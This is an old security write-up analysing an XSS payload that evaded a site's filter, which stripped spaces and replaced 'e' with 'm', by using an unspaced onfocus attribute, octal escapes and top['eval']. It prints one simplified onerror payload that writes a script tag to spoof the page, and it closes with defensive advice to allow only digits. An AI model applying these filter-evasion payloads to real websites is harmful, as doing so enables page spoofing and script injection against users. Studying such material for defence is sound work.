Paper: Carnival, or how to camouflage data for XSS filters

Written by Veda,

Thursday, 19 June 2008


01010111 01001001 01010010 01000101 01000100 01010011 ->
01000101 01000011 01010101 01010010 01001001 01010100 ->

Carnival, or how to camouflage data for XSS filters

|| 0x00: ABOUT ME
|| 0x01: CARNIVAL [04. FEB. 08]
|| 0x05: FINALLY


|| 0x00: ABOUT ME

Author: Veda
Date: February 2008

|| 0x01: CARNIVAL [04. FEB. 08]

In carnival everyone is disguised, and fools are everywhere. Nevertheless I checked and stumpled over following XSS, which fits perfect to disguising
(technically: obfuscation:) Read on!

What made me interested were the 2 posted hints about the problem to make it working.
The website seems to sanatize the given input:

1. removes all spaces
2. replaces all letter e by letter m

When looking at the vulnerable page, it showed a form which was indead vulnerable to
simple XSS like:



1. Remove all spaces

This rule makes injections impossible which require a space, i.e.

1"><img src="http://bad....

which are rendered to


So injections using common HTML tags like the often used:

1"><script src="http://bad....

are not possible, leaving just simple HTML injections (like the <b> tag in above example),
which are less exciting.
Anyway, this did not restrict to inject JavaScript using that vulnerability.
We describe this later ..

2. Replace letter e by letter m
First this seems to be just some random replacement. May be the filter developer had some special
keywords in mind, or simply reused this filter for her purpose.

This filter (which is a sanitation attempt in fact), is not that bad if you look closer. It makes a
lot of common keywords used in XSS attacks useless:

iframe, layer, style, ..
alert, eval, String.FromCharCode, ..


Some evasion techniques have been used by combining them together. To circumvent the
"removed spaces" problem, a HTML tag attribute was used:


Most modern browsers do not care about well-formed HTML. In this case they accept the
onfocus= attribute even w3c requires a white space before. If it is not separated by white
spaces from other attributes, all these attributes and their values must be identified (parsed)
unambigious. That's how the injection pattern starts:


means: close the string value for parameter 11 with a url-encoded " (%22) and continue with
onfocus=". Now anything that follows until next " is JavaScript.

But why onfocus and not the more common onmouseover? That's because the second sanitation would
substitute onmouseover to onmousmovmr. onclick would work too, but onfocus is more tricky as this
event is not only triggered by the mouse.

As we are in JavaScript now, anthing is possible, in particular changing the DOM to whatever is
required. Not that bad. Still the two sanitations apply, in short: no spaces and no e or E.

To circumvent the letter restrictions, JavaScript's String.FromCharCode() function is often used as
it only requires digits and , as parameter. The result of it as parameter to eval() would do the whole
thing. But they are both not possible because both function names contain letter e.

Looking at the XSS pattern, we see that the JavaScript code mainly exists of \xxx values enclosed in
quotes, paranteses and brackets. The \xxx coding is simply identified as octal values: \141 is a,
\142 is b, and so on.

Let's remove the octal values, we'll show the content later, and look at the rest of the code.
It looks like:


First: no spaces and no letter e, hence no sanitations applies, perfect!
But what does it do in the end?
At first glance that JavaScript code looks very strange (except to people knowing all the deep secrets
of the ECMA standards:-).

We decode the first octal value: \145\166\141\154 to eval


Now we need to understand what this means, better what it does. Remember that anything in JavaScript is an
object, and anything is stored in arrays, more particular associative arrays. Knowing that, we identify
top as array and eval as an object in there. top is part of the DOM in the browser, containing everything.
It even contains all native JavaScript functions. And functions are objects too, or the other way around,
the object is a funtion: top['eval'] is simply JavaScript's native eval(). And the whole command finally
is the same as: eval('...').

What's the purpose of this additional evasion (top[..]), could the octal coded eval() not have used directly?
The answer is no, because JavaScript does not allow octal encoding where command keywords are expected. Means that


bails out with syntax error and doesn't work. But JavaScript allows octal encoding inside any string value.
The index in associative arrays are strings, and top is an associative array. This makes \145\166\141\154 a
string for the top array which finally results in eval itself. Exactly what is needed.

Done this, the content of ('...') seems to be the payload to be evaluated. Let's decode:



document.writeln('<body><script src="//"></script></body>');

which is a simple page with a script tag loading it's content from somewhere else. That's also what we see as result of the
complete request: content of another page -> website spoofing.

The complete (simplified) payload for this example is:

"onerror="document.writeln('<body><script src="//"></script></body>');

Bingo! This actually rewrites the content of the page with a simple script tag, leaving the addressbar untouched -> spoofed.
That make the whole thing working by circumventing the sanitation filter with nothing else than JavaScript itself.


Conclusion (as the author already mentioned): don't try to sanatize fraudulent data.

Looking at the form, it seems that only digits should be allowed in the vulnerable field. So the question to the
devloper would be: why not filter just digits? This is another good example that in a security context the common
rule "keep it simple stupid" would be better than sophisticated sanitations. Or with Albert Einstein's words:

Things should be made as simple as possible, but no simpler.

More checks for the filter could be suggested, why for example does it allow braces and \ where just digits make sense?
Stupid. Keep it simple by rejecting anything that is not just digits. Ready you go.

|| 0x05: FINALLY

I guess that analyzing this XSS was as hard as crafting it.

<!> Happy Hacking <!>



Share this content:
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.